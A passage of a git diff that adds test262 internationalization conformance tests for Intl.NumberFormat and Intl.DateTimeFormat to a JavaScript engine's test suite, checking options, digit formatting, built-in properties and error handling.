+ knda: 0x0CE6,
+ laoo: 0x0ED0,
+ latn: 0x0030,
+ mlym: 0x0D66,
+ mong: 0x1810,
+ mymr: 0x1040,
+ orya: 0x0B66,
+ tamldec: 0x0BE6,
+ telu: 0x0C66,
+ thai: 0x0E50,
+ tibt: 0x0F20
+};
+
+var options, formatter;
+var s, zeroCode, digitList;
+
+for (s in numberingSystems) {
+ zeroCode = numberingSystems[s];
+ if (typeof zeroCode === 'number') {
+ digitList = [zeroCode, zeroCode+1, zeroCode+2, zeroCode+3, zeroCode+4,
+ zeroCode+5, zeroCode+6, zeroCode+7, zeroCode+8, zeroCode+9];
+ numberingSystems[s] = digitList;
+ }
+}
+
+// FIXME: Unfinished
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_L15.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_L15.js
new file mode 100644
index 000000000..17b688b7a
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the getter for Intl.NumberFormat.prototype.format
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format").get , true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRF.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRF.js
new file mode 100644
index 000000000..c042a318a
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRF.js
@@ -0,0 +1,56 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the digits are determined correctly when specifying pre/post decimal digits.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var locales = [
+ new Intl.NumberFormat().resolvedOptions().locale,
+ "ar", "de", "th", "ja"
+];
+var numberingSystems = [
+ "arab",
+ "latn",
+ "thai",
+ "hanidec"
+];
+var testData = {
+ "0": "000.0",
+ "-0": "000.0",
+ "123": "123.0",
+ "-123": "-123.0",
+ "12345": "12345.0",
+ "-12345": "-12345.0",
+ "123.45": "123.45",
+ "-123.45": "-123.45",
+ "123.444499": "123.444",
+ "-123.444499": "-123.444",
+ "123.444500": "123.445",
+ "-123.444500": "-123.445",
+ "123.44501": "123.445",
+ "-123.44501": "-123.445",
+ "0.001234": "000.001",
+ "-0.001234": "-000.001",
+ "0.00000000123": "000.0",
+ "-0.00000000123": "-000.0",
+ "0.00000000000000000000000000000123": "000.0",
+ "-0.00000000000000000000000000000123": "-000.0",
+ "1.2": "001.2",
+ "-1.2": "-001.2",
+ "0.0000000012344501": "000.0",
+ "-0.0000000012344501": "-000.0",
+ "123445.01": "123445.01",
+ "-123445.01": "-123445.01",
+ "12344501000000000000000000000000000": "12344501000000000000000000000000000.0",
+ "-12344501000000000000000000000000000": "-12344501000000000000000000000000000.0"
+};
+
+testNumberFormat(locales, numberingSystems,
+ {useGrouping: false, minimumIntegerDigits: 3, minimumFractionDigits: 1, maximumFractionDigits: 3},
+ testData);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRP.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRP.js
new file mode 100644
index 000000000..9ab6550b6
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRP.js
@@ -0,0 +1,56 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the digits are determined correctly when specifying significant digits.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var locales = [
+ new Intl.NumberFormat().resolvedOptions().locale,
+ "ar", "de", "th", "ja"
+];
+var numberingSystems = [
+ "arab",
+ "latn",
+ "thai",
+ "hanidec"
+];
+var testData = {
+ "0": "0.00",
+ "-0": "0.00",
+ "123": "123",
+ "-123": "-123",
+ "12345": "12345",
+ "-12345": "-12345",
+ "123.45": "123.45",
+ "-123.45": "-123.45",
+ "123.44499": "123.44",
+ "-123.44499": "-123.44",
+ "123.44500": "123.45",
+ "-123.44500": "-123.45",
+ "123.44501": "123.45",
+ "-123.44501": "-123.45",
+ "0.001234": "0.001234",
+ "-0.001234": "-0.001234",
+ "0.00000000123": "0.00000000123",
+ "-0.00000000123": "-0.00000000123",
+ "0.00000000000000000000000000000123": "0.00000000000000000000000000000123",
+ "-0.00000000000000000000000000000123": "-0.00000000000000000000000000000123",
+ "1.2": "1.20",
+ "-1.2": "-1.20",
+ "0.0000000012344501": "0.0000000012345",
+ "-0.0000000012344501": "-0.0000000012345",
+ "123445.01": "123450",
+ "-123445.01": "-123450",
+ "12344501000000000000000000000000000": "12345000000000000000000000000000000",
+ "-12344501000000000000000000000000000": "-12345000000000000000000000000000000"
+};
+
+testNumberFormat(locales, numberingSystems,
+ {useGrouping: false, minimumSignificantDigits: 3, maximumSignificantDigits: 5},
+ testData);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.3.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.3.js
new file mode 100644
index 000000000..5a220ccc9
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.3.js
@@ -0,0 +1,31 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the object returned by Intl.NumberFormat.prototype.resolvedOptions
+ * has the right properties.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var actual = new Intl.NumberFormat().resolvedOptions();
+
+var actual2 = new Intl.NumberFormat().resolvedOptions();
+if (actual2 === actual) {
+ $ERROR("resolvedOptions returned the same object twice.");
+}
+
+// this assumes the default values where the specification provides them
+mustHaveProperty(actual, "locale", isCanonicalizedStructurallyValidLanguageTag);
+mustHaveProperty(actual, "numberingSystem", isValidNumberingSystem);
+mustHaveProperty(actual, "style", ["decimal"]);
+mustNotHaveProperty(actual, "currency");
+mustNotHaveProperty(actual, "currencyDisplay");
+mustHaveProperty(actual, "minimumIntegerDigits", [1]);
+mustHaveProperty(actual, "minimumFractionDigits", [0]);
+mustHaveProperty(actual, "maximumFractionDigits", [3]);
+mustNotHaveProperty(actual, "minimumSignificantDigits");
+mustNotHaveProperty(actual, "maximumSignificantDigits");
+mustHaveProperty(actual, "useGrouping", [true]);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.3_L15.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.3_L15.js
new file mode 100644
index 000000000..b9f95866d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.3_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype.resolvedOptions
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.NumberFormat.prototype.resolvedOptions, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3_L15.js b/js/src/tests/test262/intl402/ch11/11.3/11.3_L15.js
new file mode 100644
index 000000000..ac1f0c05d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.NumberFormat.prototype, false, false, ["constructor", "format", "resolvedOptions"]);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3_a.js b/js/src/tests/test262/intl402/ch11/11.3/11.3_a.js
new file mode 100644
index 000000000..282a10bf6
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3_a.js
@@ -0,0 +1,16 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype is an object that
+ * has been initialized as an Intl.NumberFormat.
+ * @author: Roozbeh Pournader
+ */
+
+// test by calling a function that would fail if "this" were not an object
+// initialized as an Intl.NumberFormat
+if (typeof Intl.NumberFormat.prototype.format(0) !== "string") {
+ $ERROR("Intl.NumberFormat's prototype is not an object that has been " +
+ "initialized as an Intl.NumberFormat");
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3_b.js b/js/src/tests/test262/intl402/ch11/11.3/11.3_b.js
new file mode 100644
index 000000000..6d0162b1d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3_b.js
@@ -0,0 +1,33 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype functions throw a
+ * TypeError if called on a non-object value or an object that hasn't been
+ * initialized as a NumberFormat.
+ * @author Norbert Lindenberg
+ */
+
+var functions = {
+ "format getter": Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format").get,
+ resolvedOptions: Intl.NumberFormat.prototype.resolvedOptions
+};
+var invalidTargets = [undefined, null, true, 0, "NumberFormat", [], {}];
+
+Object.getOwnPropertyNames(functions).forEach(function (functionName) {
+ var f = functions[functionName];
+ invalidTargets.forEach(function (target) {
+ var error;
+ try {
+ f.call(target);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Calling " + functionName + " on " + target + " was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Calling " + functionName + " on " + target + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/browser.js b/js/src/tests/test262/intl402/ch11/11.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/browser.js
diff --git a/js/src/tests/test262/intl402/ch11/11.3/shell.js b/js/src/tests/test262/intl402/ch11/11.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/shell.js
diff --git a/js/src/tests/test262/intl402/ch11/11.4/11.4_a.js b/js/src/tests/test262/intl402/ch11/11.4/11.4_a.js
new file mode 100644
index 000000000..a562879ec
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.4/11.4_a.js
@@ -0,0 +1,15 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat instances have the specified properties.
+ * @author Norbert Lindenberg
+ */
+
+var obj = new Intl.NumberFormat();
+
+var toStringValue = Object.prototype.toString.call(obj);
+if (toStringValue !== "[object Object]") {
+ $ERROR("Intl.NumberFormat instance produces wrong [[Class]] - toString returns " + toStringValue + ".");
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.4/browser.js b/js/src/tests/test262/intl402/ch11/11.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.4/browser.js
diff --git a/js/src/tests/test262/intl402/ch11/11.4/shell.js b/js/src/tests/test262/intl402/ch11/11.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.4/shell.js
diff --git a/js/src/tests/test262/intl402/ch11/browser.js b/js/src/tests/test262/intl402/ch11/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/browser.js
diff --git a/js/src/tests/test262/intl402/ch11/shell.js b/js/src/tests/test262/intl402/ch11/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/shell.js
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_1.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_1.js
new file mode 100644
index 000000000..8136fb421
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_1.js
@@ -0,0 +1,43 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that an object can't be re-initialized as a DateTimeFormat.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var obj, error;
+
+ // variant 1: use constructor in a "new" expression
+ obj = new Constructor();
+ try {
+ Intl.DateTimeFormat.call(obj);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Re-initializing object created with \"new\" as DateTimeFormat was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Re-initializing object created with \"new\" as DateTimeFormat was rejected with wrong error " + error.name + ".");
+ }
+
+ // variant 2: use constructor as a function
+ obj = Constructor.call({});
+ error = undefined;
+ try {
+ Intl.DateTimeFormat.call(obj);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Re-initializing object created with constructor as function as DateTimeFormat was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Re-initializing object created with constructor as function as DateTimeFormat was rejected with wrong error " + error.name + ".");
+ }
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_18.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_18.js
new file mode 100644
index 000000000..f75ea1e32
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_18.js
@@ -0,0 +1,15 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option hour12 is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.DateTimeFormat, "hour12", "boolean", undefined, undefined,
+ {extra: {any: {hour: "numeric", minute: "numeric"}}});
+testOption(Intl.DateTimeFormat, "hour12", "boolean", undefined, undefined,
+ {noReturn: true});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_22.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_22.js
new file mode 100644
index 000000000..5c317c6b9
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_22.js
@@ -0,0 +1,18 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a Record is not affected by adversarial
+ * changes to Object.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintProperties(["weekday", "era", "year", "month", "day", "hour", "minute", "second", "timeZone"]);
+
+var locale = new Intl.DateTimeFormat(undefined, {localeMatcher: "lookup"}).resolvedOptions().locale;
+if (!isCanonicalizedStructurallyValidLanguageTag(locale)) {
+ $ERROR("DateTimeFormat returns invalid locale " + locale + ".");
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_23.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_23.js
new file mode 100644
index 000000000..d26e1d28c
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_23.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the options for the date and time components are processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+getDateTimeComponents().forEach(function (component) {
+ testOption(Intl.DateTimeFormat, component, "string", getDateTimeComponentValues(component), undefined, {isILD: true});
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_25.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_25.js
new file mode 100644
index 000000000..ccaf7be03
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_25.js
@@ -0,0 +1,12 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option formatMatcher is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.DateTimeFormat, "formatMatcher", "string", ["basic", "best fit"], "best fit", {noReturn: true});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_5.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_5.js
new file mode 100644
index 000000000..c6b166814
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_5.js
@@ -0,0 +1,18 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a Record is not affected by adversarial
+ * changes to Object.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintProperties(["localeMatcher"]);
+
+var locale = new Intl.DateTimeFormat(undefined, {localeMatcher: "lookup"}).resolvedOptions().locale;
+if (!isCanonicalizedStructurallyValidLanguageTag(locale)) {
+ $ERROR("DateTimeFormat returns invalid locale " + locale + ".");
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_6.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_6.js
new file mode 100644
index 000000000..148ca02f6
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_6.js
@@ -0,0 +1,12 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option localeMatcher is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.DateTimeFormat, "localeMatcher", "string", ["lookup", "best fit"], "best fit", {noReturn: true});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_TDTO.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_TDTO.js
new file mode 100644
index 000000000..5df6a1cf2
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_TDTO.js
@@ -0,0 +1,107 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the set of options for the date and time components is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var locales = [[], ["zh-Hans-CN"], ["hi-IN"], ["en-US"], ["id-ID"]];
+var dates = [new Date(), new Date(0), new Date(Date.parse("1989-11-09T17:57:00Z"))];
+
+function testWithDateTimeFormat(options, expected) {
+ locales.forEach(function (locales) {
+ var format = new Intl.DateTimeFormat(locales, options);
+ var resolvedOptions = format.resolvedOptions();
+ getDateTimeComponents().forEach(function (component) {
+ if (resolvedOptions.hasOwnProperty(component)) {
+ if (!expected.hasOwnProperty(component)) {
+ $ERROR("Unrequested component " + component +
+ " added to expected subset " + JSON.stringify(expected) +
+ "; locales " + locales + ", options " +
+ (options ? JSON.stringify(options) : options) + ".");
+ }
+ } else {
+ if (expected.hasOwnProperty(component)) {
+ $ERROR("Missing component " + component +
+ " from expected subset " + JSON.stringify(expected) +
+ "; locales " + locales + ", options " +
+ (options ? JSON.stringify(options) : options) + ".");
+ }
+ }
+ });
+ });
+}
+
+function testWithToLocale(f, options, expected) {
+ // expected can be either one subset or an array of possible subsets
+ if (expected.length === undefined) {
+ expected = [expected];
+ }
+ locales.forEach(function (locales) {
+ dates.forEach(function (date) {
+ var formatted = Date.prototype[f].call(date, locales, options);
+ var expectedStrings = [];
+ expected.forEach(function (expected) {
+ var referenceFormat = new Intl.DateTimeFormat(locales, expected);
+ expectedStrings.push(referenceFormat.format(date));
+ });
+ if (expectedStrings.indexOf(formatted) === -1) {
+ $ERROR("Function " + f + " did not return expected string for locales " +
+ locales + ", options " + (options? JSON.stringify(options) : options) +
+ "; expected " +
+ (expectedStrings.length === 1 ? expectedStrings[0] : "one of " + expectedStrings) +
+ ", got " + formatted + ".");
+ }
+ });
+ });
+}
+
+// any/date: steps 5a, 6a, 7a
+testWithDateTimeFormat(undefined, {year: "numeric", month: "numeric", day: "numeric"});
+
+// any/date: steps 5a, 6a
+testWithDateTimeFormat({year: "numeric", month: "numeric"}, {year: "numeric", month: "numeric"});
+
+// any/date: steps 5a, 6a
+testWithDateTimeFormat({hour: "numeric", minute: "numeric"}, {hour: "numeric", minute: "numeric"});
+
+// any/all: steps 5a, 6a, 7a, 8a
+testWithToLocale("toLocaleString", undefined, [
+ // the first one is not guaranteed to be supported; the second one is
+ {year: "numeric", month: "numeric", day: "numeric", hour: "numeric", minute: "numeric", second: "numeric"},
+ {weekday: "short", year: "numeric", month: "numeric", day: "numeric", hour: "numeric", minute: "numeric", second: "numeric"}
+]);
+
+// any/all: steps 5a, 6a
+testWithToLocale("toLocaleString", {year: "numeric", month: "numeric"}, {year: "numeric", month: "numeric"});
+
+// any/all: steps 5a, 6a
+testWithToLocale("toLocaleString", {hour: "numeric", minute: "numeric"}, {hour: "numeric", minute: "numeric"});
+
+// date/date: steps 5a, 7a
+testWithToLocale("toLocaleDateString", undefined, {year: "numeric", month: "numeric", day: "numeric"});
+
+// date/date: steps 5a
+testWithToLocale("toLocaleDateString", {year: "numeric", month: "numeric"}, {year: "numeric", month: "numeric"});
+
+// date/date: steps 5a, 7a
+testWithToLocale("toLocaleDateString", {hour: "numeric", minute: "numeric", second: "numeric"}, [
+ // the first one is not guaranteed to be supported; the second one is
+ {year: "numeric", month: "numeric", day: "numeric", hour: "numeric", minute: "numeric", second: "numeric"},
+ {weekday: "short", year: "numeric", month: "numeric", day: "numeric", hour: "numeric", minute: "numeric", second: "numeric"}
+]);
+
+// time/time: steps 6a, 8a
+testWithToLocale("toLocaleTimeString", undefined, {hour: "numeric", minute: "numeric", second: "numeric"});
+
+// time/time: steps 6a, 8a
+testWithToLocale("toLocaleTimeString", {weekday: "short", year: "numeric", month: "numeric", day: "numeric"},
+ {weekday: "short", year: "numeric", month: "numeric", day: "numeric", hour: "numeric", minute: "numeric", second: "numeric"});
+
+// time/time: steps 6a
+testWithToLocale("toLocaleTimeString", {hour: "numeric", minute: "numeric"}, {hour: "numeric", minute: "numeric"});
+
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.1_a.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_a.js
new file mode 100644
index 000000000..4f5f3dbf5
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.1_a.js
@@ -0,0 +1,18 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that constructing a DateTimeFormat doesn't create or modify
+ * unwanted properties on the RegExp constructor.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testForUnwantedRegExpChanges(function () {
+ new Intl.DateTimeFormat("de-DE-u-ca-gregory");
+});
+
+testForUnwantedRegExpChanges(function () {
+ new Intl.DateTimeFormat("de-DE-u-ca-gregory", {timeZone: "UTC"});
+});
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.2.1_4.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.2.1_4.js
new file mode 100644
index 000000000..cb22be8f9
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.2.1_4.js
@@ -0,0 +1,21 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that for non-object values passed as this to DateTimeFormat a
+ * wrapper object will be initialized and returned.
+ * @author Norbert Lindenberg
+ */
+
+var thisValues = [true, 42, "国際化"];
+
+thisValues.forEach(function (value) {
+ var format = Intl.DateTimeFormat.call(value);
+ // check that the returned object functions as a date-time format
+ var referenceFormat = new Intl.DateTimeFormat();
+ if (Intl.DateTimeFormat.prototype.format.call(format, new Date(111111111)) !== referenceFormat.format(new Date(111111111))) {
+ $ERROR("DateTimeFormat initialized from " + value + " doesn't behave like normal date-time format.");
+ }
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.2.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.2.js
new file mode 100644
index 000000000..3ffed2ec8
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.2.js
@@ -0,0 +1,30 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat can be subclassed.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// get a date-time format and have it format an array of dates for comparison with the subclass
+var locales = ["tlh", "id", "en"];
+var a = [new Date(0), Date.now(), new Date(Date.parse("1989-11-09T17:57:00Z"))];
+var referenceDateTimeFormat = new Intl.DateTimeFormat(locales);
+var referenceFormatted = a.map(referenceDateTimeFormat.format);
+
+function MyDateTimeFormat(locales, options) {
+ Intl.DateTimeFormat.call(this, locales, options);
+ // could initialize MyDateTimeFormat properties
+}
+
+MyDateTimeFormat.prototype = Object.create(Intl.DateTimeFormat.prototype);
+MyDateTimeFormat.prototype.constructor = MyDateTimeFormat;
+// could add methods to MyDateTimeFormat.prototype
+
+var format = new MyDateTimeFormat(locales);
+var actual = a.map(format.format);
+testArraysAreSame(referenceFormatted, actual);
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1.3.js b/js/src/tests/test262/intl402/ch12/12.1/12.1.3.js
new file mode 100644
index 000000000..5e70bbb8f
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1.3.js
@@ -0,0 +1,19 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that objects constructed by Intl.DateTimeFormat have the specified internal properties.
+ * @author Norbert Lindenberg
+ */
+
+var obj = new Intl.DateTimeFormat();
+
+var actualPrototype = Object.getPrototypeOf(obj);
+if (actualPrototype !== Intl.DateTimeFormat.prototype) {
+ $ERROR("Prototype of object constructed by Intl.DateTimeFormat isn't Intl.DateTimeFormat.prototype; got " + actualPrototype);
+}
+
+if (!Object.isExtensible(obj)) {
+ $ERROR("Object constructed by Intl.DateTimeFormat must be extensible.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/12.1_L15.js b/js/src/tests/test262/intl402/ch12/12.1/12.1_L15.js
new file mode 100644
index 000000000..46c4f5f50
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/12.1_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.DateTimeFormat, true, true, ["supportedLocalesOf"], 0);
+
diff --git a/js/src/tests/test262/intl402/ch12/12.1/browser.js b/js/src/tests/test262/intl402/ch12/12.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/browser.js
diff --git a/js/src/tests/test262/intl402/ch12/12.1/shell.js b/js/src/tests/test262/intl402/ch12/12.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.1/shell.js
diff --git a/js/src/tests/test262/intl402/ch12/12.2/12.2.1.js b/js/src/tests/test262/intl402/ch12/12.2/12.2.1.js
new file mode 100644
index 000000000..3590c0a9d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/12.2.1.js
@@ -0,0 +1,22 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.prototype has the required attributes.
+ * @author Norbert Lindenberg
+ */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.DateTimeFormat, "prototype");
+if (desc === undefined) {
+ $ERROR("Intl.DateTimeFormat.prototype is not defined.");
+}
+if (desc.writable) {
+ $ERROR("Intl.DateTimeFormat.prototype must not be writable.");
+}
+if (desc.enumerable) {
+ $ERROR("Intl.DateTimeFormat.prototype must not be enumerable.");
+}
+if (desc.configurable) {
+ $ERROR("Intl.DateTimeFormat.prototype must not be configurable.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.2/12.2.2_L15.js b/js/src/tests/test262/intl402/ch12/12.2/12.2.2_L15.js
new file mode 100644
index 000000000..8b21df1fd
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/12.2.2_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
